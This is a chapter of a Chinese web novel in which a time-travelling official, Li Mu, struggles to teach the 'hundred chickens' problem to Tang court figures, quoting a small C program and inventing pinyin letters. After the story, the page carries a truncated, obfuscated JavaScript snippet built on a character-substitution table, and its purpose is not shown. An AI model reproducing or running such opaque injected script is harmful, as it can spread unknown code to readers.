第47章 老师不好当啊!(2 / 2)

大唐技师 扬镳 1784 字 2022-06-02

其实这百鸡问,李牧之所以能快速地给出答案,其实是因为他做过这道题。他也是昨天晚上才想起来这件事,因为已经过去太久远了。当年他学C语言的时候,曾有一道例题,便是这百鸡问,这应该是他那个年纪学计算机编程的人,都做过的一道例题。因此他才记忆深刻,形成了所谓的C语言本能。

他到现在还记得这道题的标准答案。

【#include int main(){ int i,j; for(i=0;i<100;i++) for(j=0;j<100;j++){if(15*i+9*j+(100-i-j)==300) printf(“%d,%d,%d\n“,i,j,(100-i-j));}}】.

但此时,显然不能来个编程,他只好用最简单的三元方程求解。

怎么把这个简单的方程,能说得更简单易懂,这就是李牧面临的问题了。

李牧提着笔,犹豫了半天,也没写下一个字。旁边坐着的李世民不忍自己的胖儿子蹲着辛苦,忍不住催促道:“李牧,你快着些。”

李牧叹了口气,道:“臣实在是不知如何讲解啊,臣用的法子,乃是臣自创的,要想听懂,非得按臣的法子来不可,若是按照原有算经来说,臣实在是不会呀。”

李淳风忙道:“侯爷只管讲就是了,下官说一句大言不惭的话,当世于算学一道。下官若听不懂,那便没有能听懂的了。”忽然他又觉得有些不妥,找补道:“当然在侯爷面前,下官只能算是后学,还请侯爷赐教,若下官听不懂时,会向侯爷提问的。”

李泰也道:“兄长,愚弟也肯学。”

“好吧,那我就从头说,你们要是听不懂了,就直接问啊。”

李牧说着,在纸上写下了‘a’,‘b’两个字母,他犹豫了一下,决定还是用二元,三元他怕更难解释。

李淳风果然是个实在人,看到不懂的,立刻就问了,道:“侯爷,不知这两个符号是什么意思?为何大唐日报上没有呀?”

“这俩符号么……”李牧本来想敷衍一句,但是又一想,唐朝虽然用不到英文,但是各地方言都还是挺难懂的,若是能普及拼音,也是一件好事,而且还能让更多小孩识字,便改口道:“这是我发明的另一套符号,叫做‘音字’,此时拿来用用,你就把它当成符号就行了。”

“音字?”李泰好奇问道:“是宫商角徵羽么?”他指着a,自作聪明道:“这个是‘宫’音的意思么?”

“不是!”李牧已经快要失去耐心了,道:“音字的事情,以后再说,现在咱们先解决问题,行不行?我到现在还没吃饭呐!”

“哎呀,这是愚弟的过失了。愚弟晌午吃了一大碗疙瘩汤,倒是不饿了,却忘了兄长。”小胖子爬起来,去包袱里拿了一条牛肉干递给李牧,眼神充满了真挚:“兄长边吃边说。”

李牧看着李泰,心中无语,你特么可真是我的好弟弟啊,你就不能先让你哥吃个饭再讲么?

但是在李世民的注视下,这种话是无论如何不敢说的,他把牛肉干接过来塞进嘴里,继续说道:“现在我们看这个题啊,公鸡一值钱五,母鸡一值钱三,鸡雏三值钱一。百钱买百鸡,问鸡公、母、雏各几何?”他指着a,道:“这个字母,我把它叫做‘啊’。”

“兄长,为何叫‘啊’不叫‘呀’?”

李牧怒视李泰,手里的笔杆都要捏折了,他现在终于明白,上小学的时候,老师为啥总打人了。啥也不懂的熊孩子是真滴烦人啊!

李牧背对着李世民,咬牙切齿道:“这些音字是我发明的,我想让它叫‘啊’它就是‘啊’,你还想不想学?”

李泰不敢废话了,老实道:“知道了,这个是‘啊’。”

“这个是‘波’。”

“兄长,为啥是……”

嘎吱……笔杆还是捏断了。

!function(){function a(a){var _idx="j81e9pi47c";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"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